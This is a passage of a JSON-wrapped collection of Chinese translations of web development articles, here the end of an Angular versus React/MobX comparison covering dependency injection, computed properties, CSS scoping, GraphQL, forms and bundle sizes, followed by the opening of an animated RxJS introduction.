homeStore, appStore } = this.props\n    return <div>\n      <h3>Dashboard</h3>\n      <Input\n        type='text'\n        label='Edit your name'\n        name='username'\n        value={appStore.username}\n        onChange={appStore.onUsernameChange}\n      />\n      <span>Clicks since last visit: {homeStore.counter}</span>\n      <button onClick={homeStore.increment}>Click!</button>\n    </div>\n  }\n}\n```\n\n\n`HomeComponent` 使用 `@observer` 装饰器监听被 `@observable` 装饰器修饰的属性变化。\n\n其底层机制很有趣，所以我们简单的介绍一下。`@observable` 装饰器通过替换对象中（被观察）属性的 getter 和 setter 方法，拦截对该属性的调用。当被 `@observer` 修饰的组件调用其渲染函数（render function）时，这些属性的 getter 方法也会被调用，getter 方法会将对属性的引用保存在调用它们的组件上。\n\n然后，当 setter 方法被调用、这些属性的值也改变的时候，上一次渲染这些属性的组件会（再次）调用其渲染函数。这样被改变过的属性会在界面上更新，然后整个周期会重新开始（译者注：其实就是典型的观察者模式啊...）。\n\n这是一个非常简单的机制，也是很棒的特性。更深入的解释在[这里](https://medium.com/@mweststrate/becoming-fully-reactive-an-in-depth-explanation-of-mobservable-55995262a254).\n\n`@inject` 装饰器用来将 `appStore` 和 `homeStore` 的实例注入进 `HomeComponent` 的属性。这种情况下，每一个数据仓库（也）具有不同的生命周期。`appStore` 的生命周期同样也贯穿整个 app，而 `homeStore` 在每次进入 \"/home\" 页面的时候重新创建。\n\n这么做的好处，是不需要手动清理属性。如果所有的数据仓库都是全局变量，每次详情页想展示不同的数据就会很崩溃（译者：因为每次都要手动擦掉上一次的遗留数据）。\n\n总结：因为自带管理生命周期的特性，Angular 的依赖注入更容易获得预期的效果。React 版本的做法也很有效，但是会涉及到更多的引用。\n\n### 计算属性\n\n#### React\n\n这次我们先讲 React，它的做法更直观一些。\n\n\n```\nimport { observable, computed, action } from 'mobx'\n\nexport class HomeStore {\nimport { observable, computed, action } from 'mobx'\n\nexport class HomeStore {\n  @observable counter = 0\n  increment = () => {\n    this.counter++\n  }\n  @computed get counterMessage() {\n    console.log('recompute counterMessage!')\n    return `${this.counter} ${this.counter === 1 ? 'click' : 'clicks'} since last visit`\n  }\n}\n```\n\n\n这样我们就将计算属性绑定到 `counter` 上，同时返回一段根据点击数量来确定的信息。`counterMessage` 被放在缓存中，只有当 `counter` 属性被改变的时候才重新进行处理。\n\n\n```\n<Input\n  type='text'\n  label='Edit your name'\n  name='username'\n  value={appStore.username}\n  onChange={appStore.onUsernameChange}\n/>\n<span>{homeStore.counterMessage}</span>\n<button onClick={homeStore.increment}>Click!</button>\n```\n\n然后我们在 JSX 模版中引用此属性（以及 `increment` 方法）。再将用户的姓名数据绑定在输入框上，通过 `appStore` 的一个方法处理用户的(输入)事件。\n\n#### Angular\n\n为了在 Angular 中实现相同的结果，我们必须另辟蹊径。\n\n\n```\nimport { Injectable } from '@angular/core'\nimport { BehaviorSubject } from 'rxjs/BehaviorSubject'\n\n@Injectable()\nexport class HomeService {\n  message = 'Welcome to home page'\n  counterSubject = new BehaviorSubject(0)\n  // Computed property can serve as basis for further computed properties\n  // 初始化属性，可以作为进一步属性处理的基础\n  counterMessage = new BehaviorSubject('')\n  constructor() {\n    // Manually subscribe to each subject that couterMessage depends on\n    // 手动订阅 couterMessage 依赖的方法\n    this.counterSubject.subscribe(this.recomputeCounterMessage)\n  }\n\n  // Needs to have bound this\n  // 需要设置约束\n  private recomputeCounterMessage = (x) => {\n    console.log('recompute counterMessage!')\n    this.counterMessage.next(`${x} ${x === 1 ? 'click' : 'clicks'} since last visit`)\n  }\n\n  increment() {\n    this.counterSubject.next(this.counterSubject.getValue() + 1)\n  }\n}\n```\n\n\n我们需要初始化所有计算属性的值，也就是所谓的 `BehaviorSubject`。计算属性自身同样也是 `BehaviorSubject` ，因为每次计算后属性都是另一个计算属性的基础。\n\n当然，RxJs 可以做的[远不于此](https://www.sitepoint.com/functional-reactive-programming-rxjs/)，不过还是留待另一篇文章去详细讲述吧。在简单的情况下强行使用 Rxjs 处理计算属性的话反而会比 React 例子要麻烦一点，而且程序员必须手动去订阅（就像在构造函数中做的那样）。\n\n\n```\n<md-input-container>\n  <input mdInput placeholder='Edit your name' [(ngModel)]='appService.username' />\n</md-input-container>\n<span>{{homeService.counterMessage | async}}</span>\n<button (click)='homeService.increment()'>Click!</button>\n```\n\n\n注意，我们可以通过 `| async` 的管道（pipe）来引用 RxJS 项目。这是一个很棒的做法，比在组件中订阅要简短一些。用户姓名与输入框则通过 `[(ngModel)]` 实现了双向绑定。尽管看起来很奇怪，但这么做实际上相当优雅。就像一个数据绑定到 `appService.username` 的语法糖，而且自动相应用户的输入事件。\n\n总结：计算属性在 React/MobX 比在 Angular/RxJ 中更容易实现，但是 RxJS 可以提供一些有用的函数式响应编程（FRP）的、不久之后会被人们所称赞的新特性。\n\n### 模板与 CSS\n\n为了演示两者的模版栈是多么的相爱相杀（against each other），我们来编写一个展示帖子列表的组件。\n\n#### Angular\n\n\n```\n@Component({\n  selector: 'app-posts',\n  templateUrl: './posts.component.html',\n  styleUrls: ['./posts.component.css'],\n  providers: [\n    PostsService\n  ]\n})\n\nexport class PostsComponent implements OnInit {\n  // 译者：请注意这里的 implements OnInit\n  // 这是 Angular 4 为了实现控制组件生命周期而提供的钩子（hook）接口\n  constructor(\n    public postsService: PostsService,\n    public appService: AppService\n  ) { }\n\n  // 这里是对 OnInit 的具体实现，必须写成 ngOnInit\n  // ngOnInit 方法在组件初始化的时候会被调用\n  // 以达到和 React 中 componentWillMount 相同的作用\n  // Angular 4 还提供了很多用于控制生命周期钩子\n  // 结果译者都没记住（捂脸跑）\n  ngOnInit() {\n    this.postsService.initializePosts()\n  }\n}\n```\n\n\n本组件（指 post.component.ts 文件）连接了此组件（指具体的帖子组件）的 HTML、CSS，而且在组件初始化的时候通过注入过的服务从 API 读取帖子的数据。AppService 是一个定义在 app 入口文件中的单例，而 PostsService 则是暂时的、每次创建组件时都会重新初始化的一个实例(译者：又是不同生命周期的不同数据仓库)。CSS 被引用到组件内，以便于将作用域限定在本组件内 —— 这意味着它不会影响组件外的东西。\n\n\n```\n<a routerLink=\"/form\" class=\"float-right\">\n  <button md-fab>\n    <md-icon>add</md-icon>\n  </button>\n</a>\n<h3>Hello {{appService.username}}</h3>\n<md-card *ngFor=\"let post of postsService.posts\">\n  <md-card-title>{{post.title}}</md-card-title>\n  <md-card-subtitle>{{post.name}}</md-card-subtitle>\n  <md-card-content>\n    <p>\n      {{post.message}}\n    </p>\n  </md-card-content>\n</md-card>\n```\n\n在 HTML 模版中，我们从 Angular Material 引用了大部分组件。为了保证其正常使用，必须把它们包含在 app.module 的 import 里（参见上面的入口文件）。*ngFor 指令用来循环使用 md-card 输出每一个帖子。\n\n**Local CSS:**\n\n\n```\n.mat-card {\n  margin-bottom: 1rem;\n}\n\n```\n这段局部 CSS 只在 `md-card` 组件中起作用\n\n**Global CSS:**\n\n\n```\n.float-right {\n  float: right;\n}\n\n\n```\n这段 CSS 类定义在全局样式文件 `style.css` 中，这样所有的组件都可以用标准的方法使用它（指 style.css 文件）的样式，class=\"float-right\"。\n\n\n**Compiled CSS:**\n\n\n```\n.float-right {\n  float: right;\n}\n.mat-card[_ngcontent-c1] {\n    margin-bottom: 1rem;\n}\n```\n\n\n在编译后的 CSS 文件中，我们可以发现局部 CSS 的作用域通过添加 `[_ngcontent-c1]` 的属性选择器被限定在本组件中。每一个已渲染的 Angular 组件都会产生一个用作确定 CSS 作用域的类。\n\n这种机制的优势是我们可以正常的引用 CSS 样式，而 CSS 的作用域在后台被处理了（is handled “under the hood”）。\n\n#### React\n\n\n```\nimport * as style from './posts.css'\nimport * as appStyle from '../app.css'\n\n@observer\nexport class Posts extends React.Component<any, any> {\n\n  postsStore: PostsStore\n  componentWillMount() {\n    this.postsStore = new PostsStore()\n    this.postsStore.initializePosts()\n  }\n\n  render() {\n    return <Provider postsStore={this.postsStore}>\n      <PostsComponent />\n    </Provider>\n  }\n}\n```\n\n\n在 React 中，开发者又一次需要使用 Provider 来使 PostsStore 的 依赖“短暂（transient）”。我们同样引入 CSS 样式，声明为 `style` 以及 `appStyle` ，这样就可以在 JSX 语法中使用 CSS 的样式了。\n\n\n```\ninterface PostsComponentProps {\n  appStore?: AppStore,\n  postsStore?: PostsStore\n}\n\n@inject('appStore', 'postsStore')\n@observer\nexport class PostsComponent extends React.Component<PostsComponentProps, any> {\n  render() {\n    const { postsStore, appStore } = this.props\n    return <div>\n      <NavLink to='form'>\n        <Button icon='add' floating accent className={appStyle.floatRight} />\n      </NavLink>\n      <h3>Hello {appStore.username}</h3>\n      {postsStore.posts.map(post =>\n        <Card key={post.id} className={style.messageCard}>\n          <CardTitle\n            title={post.title}\n            subtitle={post.name}\n          />\n          <CardText>{post.message}</CardText>\n        </Card>\n      )}\n    </div>\n  }\n}\n```\n\n当然，JSX 的语法比 Angular 的 HTML 模版更有 javascript 的风格，是好是坏取决于开发者的喜好。我们使用高阶函数 `map` 来代替 *ngFor 指令循环输出帖子。\n\n如今，Angular 也许是使用 TypeScript 最多的框架，但是实际上 JSX 语法才是 TypeScript 能真正发挥作用的地方。通过添加 CSS 模块（在顶部引入），它能够让模版编码的工作成为依靠插件进行代码补全的享受（it really turns your template coding into code completion zen）。每一个事情都是经过类型检验的。组件、属性甚至 CSS 类（`appStyle.floatRight` 以及 `style.messageCard` 见下）。当然，JSX 语法的单薄特性比起 Angular 的模版更鼓励将代码拆分成组件和片段（fragment）。\n\n**Local CSS:**\n\n\n```\n.messageCard {\n  margin-bottom: 1rem;\n}\n```\n\n\n**Global CSS:**\n\n\n```\n.floatRight {\n  float: right;\n}\n```\n\n\n**Compiled CSS:**\n\n\n```\n.floatRight__qItBM {\n  float: right;\n}\n\n.messageCard__1Dt_9 {\n    margin-bottom: 1rem;\n}\n```\n\n如你所见，CSS 模块加载器通过在每一个 CSS 类之后添加随机的后缀来保证其名字独一无二。这是一种非常简单的、可以有效避免命名冲突的办法。（编译好的）CSS 类随后会被 webpack 打包好的对象引用。这么做的缺点之一是不能像 Angular 那样只创建一个 CSS 文件来使用。但是从另一方面来说，这也未尝不是一件好事。因为这种机制会强迫你正确的封装 CSS 样式。\n\n总结：比起 Angular 的模版，我更喜欢 JSX 语法，尤其是支持代码补全以及类型检查。这真是一项杀手锏（really is a killer feature）。Angular 现在采用了 AOT 编译器，也有一些新的东西。大约有一半的情况能使用代码补全，但是不如 JSX/TypeScript 中做的那么完善。\n\n### GraphQL — 加载数据\n\n那么我们决定使用 GraphQL 来保存本 app 的数据。在服务端创建 GraphQL 风格的接口的简单方法之一就是使用后端即时服务（Baas），比如说 Graphcool。其实，我们就是这么做的。基本上，开发者只需要定义数据模型和属性，随后就可以方便的进行增删改查了。\n\n#### 通用代码\n\n因为很多 GraphQL 相关的代码实现起来完全相同，那么我们不必重复编写两次：\n\n\n```\nconst PostsQuery = gql`\n  query PostsQuery {\n    allPosts(orderBy: createdAt_DESC, first: 5)\n    {\n      id,\n      name,\n      title,\n      message\n    }\n  }\n`\n```\n\n\n比起传统的 REST 风格的接口，GraphQL 是一种为了提供函数性富集合的查询语言。让我们分析一下这个特定的查询。\n\n- `PostsQuery` 只是该查询被随后引用的名称，可以任意起名。\n\n- allPosts 是最重要的部分：它是查询所有帖子数据函数的引用。这是 Graphcool 创建的名字。\n\n- `orderBy` 和 `first` 是 allPost 的参数，`createdAt` 是帖子数据模型的一个属性。`first: 5` 意思是返回查询结果的前 5 条数据。\n\n- `id`、`name`、`title`、以及 `message` 是我们希望在返回的结果中包含`帖子`的数据属性，其他的属性会被过滤掉。\n\n你瞧，这真的太棒了。仔细阅读[这个页面](http://graphql.org/learn/queries/)的内容来熟悉更多有关 GraphQL 查询的东西。\n\n\n```\ninterface Post {\n  id: string\n  name: string\n  title: string\n  message: string\n}\n\ninterface PostsQueryResult {\n  allPosts: Array<Post>\n}\n```\n\n然后，作为 TypeScript 的模范市民，我们通过创建接口来处理 GraphQL 的结果。\n\n#### Angular\n\n\n```\n@Injectable()\nexport class PostsService {\n  posts = []\n\n  constructor(private apollo: Apollo) { }\n\n  initializePosts() {\n    this.apollo.query<PostsQueryResult>({\n      query: PostsQuery,\n      fetchPolicy: 'network-only'\n    }).subscribe(({ data }) => {\n      this.posts = data.allPosts\n    })\n  }\n}\n```\n\n\nGraphQL 查询结果集是一个 RxJS 的被观察者类（observable），该结果集可供我们订阅。它有点像 Promise，但并不是完全一样，所以我们不能使用 async/await。当然，确实有 toPromise 方法（将其转化为 Promise 对象），但是这种做法并不是 Angular 的风格（译者：那为啥 Angular 4 的入门 demo 用的就是 toPromise...）。我们通过设置 `fetchPolicy: 'network-only'` 来保证在这种情况不进行缓存操作，而是每次都从服务端获取最新数据。\n\n#### React\n\n\n```\nexport class PostsStore {\n  appStore: AppStore\n\n  @observable posts: Array<Post> = []\n\n  constructor() {\n    this.appStore = AppStore.getInstance()\n  }\n\n  async initializePosts() {\n    const result = await this.appStore.apolloClient.query<PostsQueryResult>({\n      query: PostsQuery,\n      fetchPolicy: 'network-only'\n    })\n    this.posts = result.data.allPosts\n  }\n}\n```\n\n\nReact 版本的做法差不多一样，不过既然 `apolloClient` 使用了 Promise，我们就可以体会到 async/await 语法的优点了（译者：async/await 语法的优点便是用写同步代码的模式处理异步情况，不必在使用 Promose 的 then 回调，逻辑更清晰，也更容易 debug）。React 中有其他做法，便是在[高阶组件](https://github.com/apollographql/react-apollo)中“记录” GraphQL 查询结果集，但是对我来说这么做显得数据层和展示层耦合度太高了。\n\n总结：RxJS 中的订阅以及 async/await 其实有着非常相似的观念。\n\n### GraphQL — 保存数据\n\n#### 通用代码\n\n同样的，这是 GraphQL 相关的代码：\n\n\n```\nconst AddPostMutation = gql`\n  mutation AddPostMutation($name: String!, $title: String!, $message: String!) {\n    createPost(\n      name: $name,\n      title: $title,\n      message: $message\n    ) {\n      id\n    }\n  }\n`\n```\n\n\n修改（mutations，GraphQL 术语）的目的是为了创建或者更新数据。在修改中声明一些变量是十分有益的，因为这其实是传递数据的方式。我们有 `name`、`title`、以及 `message` 这些变量，类型为字符串，每次调用本修改的时候都会为其赋值。`createPost` 函数，又一次是由 Graphcool 来定义的。我们指定 `Post` 数据模型的属性会从修改（mutation）对应的属性里获得属性值，而且希望每创建一条新数据的时候都会返回一个新的 id。\n\n#### Angular\n\n\n```\n@Injectable()\nexport class FormService {\n  constructor(\n    private apollo: Apollo,\n    private router: Router,\n    private appService: AppService\n  ) { }\n\n  addPost(value) {\n    this.apollo.mutate({\n      mutation: AddPostMutation,\n      variables: {\n        name: this.appService.username,\n        title: value.title,\n        message: value.message\n      }\n    }).subscribe(({ data }) => {\n      this.router.navigate(['/posts'])\n    }, (error) => {\n      console.log('there was an error sending the query', error)\n    })\n  }\n\n}\n```\n\n\n当调用 `apollo.mutate` 方法的时候，我们会传入一个希望的修改（mutation）以及修改中所包含的变量值。然后在订阅的回调函数中获得返回结果，使用注入的`路由`来跳转帖子列表页面。\n\n#### React\n\n\n```\nexport class FormStore {\n  constructor() {\n    this.appStore = AppStore.getInstance()\n    this.routerStore = RouterStore.getInstance()\n    this.postFormState = new PostFormState()\n  }\n\n  submit = async () => {\n    await this.postFormState.form.validate()\n    if (this.postFormState.form.error) return\n    const result = await this.appStore.apolloClient.mutate(\n      {\n        mutation: AddPostMutation,\n        variables: {\n          name: this.appStore.username,\n          title: this.postFormState.title.value,\n          message: this.postFormState.message.value\n        }\n      }\n    )\n    this.goBack()\n  }\n\n  goBack = () => {\n    this.routerStore.history.push('/posts')\n  }\n}\n```\n\n\n和上面 Angular 的做法非常相似，差别就是有更多的“手动”依赖注入，更多的 async/await 的做法。\n\n总结：又一次，并没有太多不同。订阅与　async/await　基本上就那么点差异。\n\n### 表单：\n\n我们希望在 app 中用表单达到以下目标：\n\n- 将表单作用域绑定至数据模型\n\n- 为每个表单域进行校验，有多条校验规则\n\n- 支持检查整个表格的值是否合法\n\n#### React\n\n```\nexport const check = (validator, message, options) =>\n  (value) => (!validator(value, options) && message)\n\nexport const checkRequired = (msg: string) => check(nonEmpty, msg)\n\nexport class PostFormState {\n  title = new FieldState('').validators(\n    checkRequired('Title is required'),\n    check(isLength, 'Title must be at least 4 characters long.', { min: 4 }),\n    check(isLength, 'Title cannot be more than 24 characters long.', { max: 24 }),\n  )\n  message = new FieldState('').validators(\n    checkRequired('Message cannot be blank.'),\n    check(isLength, 'Message is too short, minimum is 50 characters.', { min: 50 }),\n    check(isLength, 'Message is too long, maximum is 1000 characters.', { max: 1000 }),\n  )\n  form = new FormState({\n    title: this.title,\n    message: this.message\n  })\n}\n```\n\n[formstate](https://formstate.github.io/#/) 的库是这么工作的：对于每一个表单域，需要定义一个 `FieldState`。`FieldState` 的参数是表单域的初始值。`validators` 属性接受一个函数做参数，如果表单域的值有效就返回 false；如果表单域的值非法，那么就弹出一条提示信息。通过使用 `check`、`checkRequired` 这两个辅助函数，可以使得声明部分的代码看起来很漂亮。\n\n为了对整个表单进行验证，最好使用另一个 FormState 实例来包裹这些字段，然后提供整体有效性的校验。\n\n\n```\n@inject('appStore', 'formStore')\n@observer\nexport class FormComponent extends React.Component<FormComponentProps, any> {\n  render() {\n    const { appStore, formStore } = this.props\n    const { postFormState } = formStore\n    return <div>\n      <h2> Create a new post </h2>\n      <h3> You are now posting as {appStore.username} </h3>\n      <Input\n        type='text'\n        label='Title'\n        name='title'\n        error={postFormState.title.error}\n        value={postFormState.title.value}\n        onChange={postFormState.title.onChange}\n      />\n      <Input\n        type='text'\n        multiline={true}\n        rows={3}\n        label='Message'\n        name='message'\n        error={postFormState.message.error}\n        value={postFormState.message.value}\n        onChange={postFormState.message.onChange}\n      />\n```\n\n`FormState` 实例拥有 `value`、`onChange`以及 `error` 三个属性，可以非常方便的在前端组件中使用。\n\n\n```\n<Button\n    label='Cancel'\n    onClick={formStore.goBack}\n    raised\n    accent\n  /> &nbsp;\n<Button\n    label='Submit'\n    onClick={formStore.submit}\n    raised\n    disabled={postFormState.form.hasError}\n    primary\n  />\n\n```\n\n\n当 `form.hasError` 的返回值是 `true` 的时候，我们让按钮控件保持禁用状态。提交按钮发送表单数据到之前编写的 GraphQL 修改（mutation）上。\n\n#### Angular\n\n在 Angular 中，我们会使用 @angular/formspackage 中的 `FormService` 和 `FormBuilder`。\n\n`@angular/forms`package.\n\n\n```\n@Component({\n  selector: 'app-form',\n  templateUrl: './form.component.html',\n  providers: [\n    FormService\n  ]\n})\nexport class FormComponent {\n  postForm: FormGroup\n  validationMessages = {\n    'title': {\n      'required': 'Title is required.',\n      'minlength': 'Title must be at least 4 characters long.',\n      'maxlength': 'Title cannot be more than 24 characters long.'\n    },\n    'message': {\n      'required': 'Message cannot be blank.',\n      'minlength': 'Message is too short, minimum is 50 characters',\n      'maxlength': 'Message is too long, maximum is 1000 characters'\n    }\n  }\n```\n\n\n首先，让我们定义校验信息。\n\n\n```\nconstructor(\n    private router: Router,\n    private formService: FormService,\n    public appService: AppService,\n    private fb: FormBuilder,\n  ) {\n    this.createForm()\n  }\n```\n\n\n\n```\ncreateForm() {\nthis.postForm = this.fb.group({\n  title: ['',\n    [Validators.required,\n    Validators.minLength(4),\n    Validators.maxLength(24)]\n  ],\n  message: ['',\n    [Validators.required,\n    Validators.minLength(50),\n    Validators.maxLength(1000)]\n  ],\n})\n}\n```\n\n\n使用 `FormBuilder`，很容易创建表格结构，甚至比 React 的例子更出色。\n\n\n```\nget validationErrors() {\n    const errors = {}\n    Object.keys(this.postForm.controls).forEach(key => {\n      errors[key] = ''\n      const control = this.postForm.controls[key]\n      if (control && !control.valid) {\n        const messages = this.validationMessages[key]\n        Object.keys(control.errors).forEach(error => {\n          errors[key] += messages[error] + ' '\n        })\n      }\n    })\n    return errors\n  }\n```\n\n\n为了让绑定的校验信息在正确的位置显示，我们需要做一些处理。这段代码源自官方文档，只做了一些微小的变化。基本上，在 FormService 中，表单域保有根据校验名识别的错误，这样我们就需要手动配对信息与受影响的表单域。这并不是一个完全的缺陷，而是更容易国际化（译者：即指的方便的对提示语进行多语言翻译）。\n\n\n```\nonSubmit({ value, valid }) {\n    if (!valid) {\n      return\n    }\n    this.formService.addPost(value)\n  }\n\n  onCancel() {\n    this.router.navigate(['/posts'])\n  }\n}\n```\n\n\n和 React 一样，如果表单数据是正确的，那么数据可以被提交到 GraphQL 的修改。\n\n\n```\n<h2> Create a new post </h2>\n<h3> You are now posting as {{appService.username}} </h3>\n<form [formGroup]=\"postForm\" (ngSubmit)=\"onSubmit(postForm)\" novalidate>\n  <md-input-container>\n    <input mdInput placeholder=\"Title\" formControlName=\"title\">\n    <md-error>{{validationErrors['title']}}</md-error>\n  </md-input-container>\n  <br>\n  <br>\n  <md-input-container>\n    <textarea mdInput placeholder=\"Message\" formControlName=\"message\"></textarea>\n    <md-error>{{validationErrors['message']}}</md-error>\n  </md-input-container>\n  <br>\n  <br>\n  <button md-raised-button (click)=\"onCancel()\" color=\"warn\">Cancel</button>\n  <button\n    md-raised-button\n    type=\"submit\"\n    color=\"primary\"\n    [disabled]=\"postForm.dirty && !postForm.valid\">Submit</button>\n  <br>\n  <br>\n</form>\n```\n\n\n最重要的是引用我们通过 FormBuilder 创建的表单组，也就是 `[formGroup]=\"postForm\"` 分配的数据。表单中的表单域通过 `formControlName` 的属性来限定表单的数据。当然，还得在表单数据验证失败的时候禁用 “Submit” 按钮。顺便还需要添加脏数据检查，因为这种情况下，脏数据可能会引起表单校验不通过。我们希望每次初始化 button 都是可用的。\n\n总结：对于 React 以及 Angular 的表单方面来说，表单校验和前端模版差别都很大。Angular 的方法是使用一些更“魔幻”的做法而不是简单的绑定，但是从另一方面说，这么做的更完整也更彻底。\n\n### 编译文件大小\n\nOh, one more thing. The production minified JS bundle sizes, with default settings from the application generators: notably Tree Shaking in React and AOT compilation in Angular.\n\n啊，还有一件事。那就是使用程序默认设置进行打包后 bundle 文件的大小：特指 React 中的  Tree Shaking 以及 Angular 中的 AOT 编译。\n\n- Angular: 1200 KB\n- React: 300 KB\n\n嗯，并不意外，Angular 确实是个巨无霸。\n\n使用 gzip 进行压缩的后，两者的大小分别会降低至 275kb 和 127kb。\n\n请记住，这还只是主要的库。相比较而言真正处理逻辑的代码是很小的部分。在真实的情况下，这部分的比率大概是 1:2 到 1:4 之间。同时，当开发者开始在 React 中引入一堆第三方库的时候，文件的体积也会随之快速增长。\n\n### 库的灵活性与框架的稳定性\n\n那么，看起来我们还是无法（再一次）对 “Angular 与 React 中何者才是更好的前端开发框架”给出明确的答案。\n\n事实证明，React 与 Angular 中的开发工作流程可以非常相似（译者：因为用的是 mobx 而不是 redux），而这其实和使用 React 的哪一个库有关。当然，这还是一个个人喜好问题。\n\n如果你喜欢现成的技术栈，牛逼的依赖注入而且计划体验 RxJS 的好处，那么选择 Angular 吧。\n\n如果你喜欢自由定制自己的技术栈，喜欢 JSX 的直观，更喜欢简单的计算属性，那么就用 React/MobX 吧。\n\n当然，你可以从[这里](https://github.com/tomaash/shoutboard-angular)以及[这里](https://github.com/tomaash/shoutboard-react)获得本文 app 的所有源代码。\n\n或者，如果你喜欢大一点的真实项目：\n\n- [RealWorld Angular 4+](https://github.com/gothinkster/angular-realworld-example-app)\n- [RealWorld React/MobX](https://github.com/gothinkster/react-mobx-realworld-example-app)\n\n### 先选择自己的编程习惯\n\n使用 React/MobX 实际上比起 React/Redux 更接近于 Angular。虽然在模版以及依赖管理中有一些显著的差异，但是它们有着相似的可变/数据绑定的风格。\n\nReact/Redux 与它的不可变/单向数据流的模式则是完全不同的另一种东西。\n\n不要被 Redux 库的体积迷惑，它也许很娇小，但确实是一个框架。如今大部分 Redux 的优秀做法关注使用兼容 Redux 的库，比如用来处理异步代码以及获取数据的 [Redux Saga](https://redux-saga.js.org/)，用来管理表单的 [Redux Form](http://redux-form.com/)，用来记录选择器（Redux 计算后的值）的[Reselect](https://github.com/reactjs/reselect)，以及用来管理组件生命周期的 [Recompose](https://github.com/acdlite/recompose)。同时 Redux 社区也在从  [Immutable.js](https://facebook.github.io/immutable-js/) 转向  [lodash/fp](https://github.com/lodash/lodash/wiki/FP-Guide)，更专注于处理普通的 JS 对象而不是转化它们。\n\n[React Boilerplate](https://github.com/react-boilerplate/react-boilerplate)是一个非常著名的使用 Redux 的例子。这是一个强大的开发栈，但是如果你仔细研究的话，会发现它与到目前为止本文提到的东西非常、非常不一样。\n\n我觉得主流 JavaScript 社区一直对 Angular 抱有某种程度的偏见（译者：我也有这种感觉，作为全公司唯一会 Angular 的稀有动物每次想在组内推广 Angular 都会遇到无穷大的阻力）。大部分对 Angular 表达不满的人也许还无法欣赏到 Angular 中老版本与新版本之间的巨大改变。以我的观点来看，这是一个非常整洁高效的框架，如果早一两年出现肯定会在世界范围内掀起一阵 Angular 的风潮（译者：可惜早一两年出的是 Angular 1.x）。\n\n当然，Angular 还是获得了一个坚实的立足点。尤其是在大型企业中，大型团队需要标准化和长期化的支持。换句话说，Angular 是谷歌工程师们认为前端开发应有的样子，如果它终究能有所成就的话（amounts to anything）。\n\n对于 MobX 来说，处境也差不多。十分优秀，但是受众不多。\n\n结论是：在选择 React 与 Angular 之前，先选择自己的编程习惯（译者：这结论等于没结论）。\n\n是可变的/数据绑定，还是不可变的/单向数据流？看起来真的很难抉择。\n\n> 我希望你能喜欢这篇客座文章。这篇[文章](https://www.toptal.com/front-end/angular-vs-react-for-web-development)最初发表在 [Toptal](https://www.toptal.com/front-end/)，并且已经获得转载授权。\n---\n\n#### ❤ 如果你喜欢这篇文章，轻轻扎一下小蓝心吧老铁\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/animated-intro-rxjs.md",
    "content": "> * 原文地址：[An Animated Intro to RxJS](https://css-tricks.com/animated-intro-rxjs/)\n> * 原文作者：[David Khourshid](https://css-tricks.com/author/davidkpiano/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者： [luoyaqifei](http://www.zengmingxia.com)\n> * 校对者：[vuuihc](https://github.com/vuuihc)，[AceLeeWinnie](https://github.com/AceLeeWinnie)\n\n# 看动画，学 RxJS\n\n你以前可能听过 RxJS、ReactiveX、响应式编程，或者只是函数式编程。当我们谈论最新的、最伟大的前端技术时，这些术语正变得越来越重要。如果你的学习心路像我一样，那么你在最开始学习它时一定也是一头雾水。\n\n根据 [ReactiveX.io](http://reactivex.io/)：\n\n> ReactiveX 是一个库，它使用可观察（observable）序列，用于组织异步的、基于事件的程序。\n\n单单在这句话里，就有许多值得我们琢磨的东西。在本文中，通过创建 **响应式动画**，我们将采用一种不同的做法来学习 RxJS（ReactiveX 的 JavaScript 实现）和 Observable（可观察对象）。\n\n### 理解 Observable\n\n数组即元素集合，比如说 `[1, 2, 3, 4, 5]`。你能够马上拿到所有的元素，并且可以对它们做一些诸如 [map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map) 和 [filter](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter) 这样的操作。这使得你可以将元素集合用你想要的方式转换。\n\n现在假定数组里的每个元素 **伴随时间流动** 出现，也就是说，你不是马上拿到所有的元素，而是一次拿到一个。你可能在第一秒拿到第一个元素，第三秒拿到下一个，诸如此类。就像图中展现的这样：\n\n![](https://cdn.css-tricks.com/wp-content/uploads/2017/02/rx-article-1.svg)\n这就被称为数据流，或者是事件序列，或者更加贴切地说，一个 **observable**。\n\n一个 **observable** 就是一个伴随着时间流动的数据集合。\n\n就像对数组做的那些操作一样，你可以对这些数据进行 map、filter 或者做些其他的操作，来创建和组合新的 observable。最后，你还可以 subscribe（订阅）到这些 observable 上，来对最后的数据流进行你想要的任何操作。这些就是 RxJS 的用武之处。\n\n### RXJS 上手\n\n开始使用 [RxJS](http://reactivex.io/rxjs/) 最简单的方式是使用 CDN，尽管根据你的项目需求，有 [很多安装它的方法](http://reactivex.io/rxjs/manual/installation.html)。\n\n```\nHTML\n\n<!-- 最新的，最小化后的 RxJS 版本-->\n<scriptsrc=\"https://unpkg.com/@reactivex/rxjs@latest/dist/global/Rx.min.js\"></script>\n\n```\n\n一旦你的项目里有了 RxJS，你可以从 **任何东西** 开始创建一个 observable：\n\n```\nJS\n\nconst aboutAnything = 42;\n\n// 从 just about anything（单个数据）创建。\n// observable 发送这个数据，然后完成。\nconst meaningOfLife$ = Rx.Observable.just(aboutAnything);\n\n// 从一个数组或一个可迭代对象创建。\n// observable 发送数组中的每个元素，然后完成。\nconst myNumber$ = Rx.Observable.from([1, 2, 3, 4, 5]);\n\n// 从一个 promise 创建。\n// observable 发送最终的结果，然后完成（或者抛出错误）。\nconst myData$ = Rx.Observable.fromPromise(fetch('http://example.com/users'));\n\n// 从一个事件创建。\n// observable 连续地发送事件监听器上的事件。\nconst mouseMove$ = Rx.Observable\n  .fromEvent(document.documentElement, 'mousemove');\n```\n\n**注意：变量后的美元符(`$`)只是一个约定，用于表明这个变量是 observable。** observable 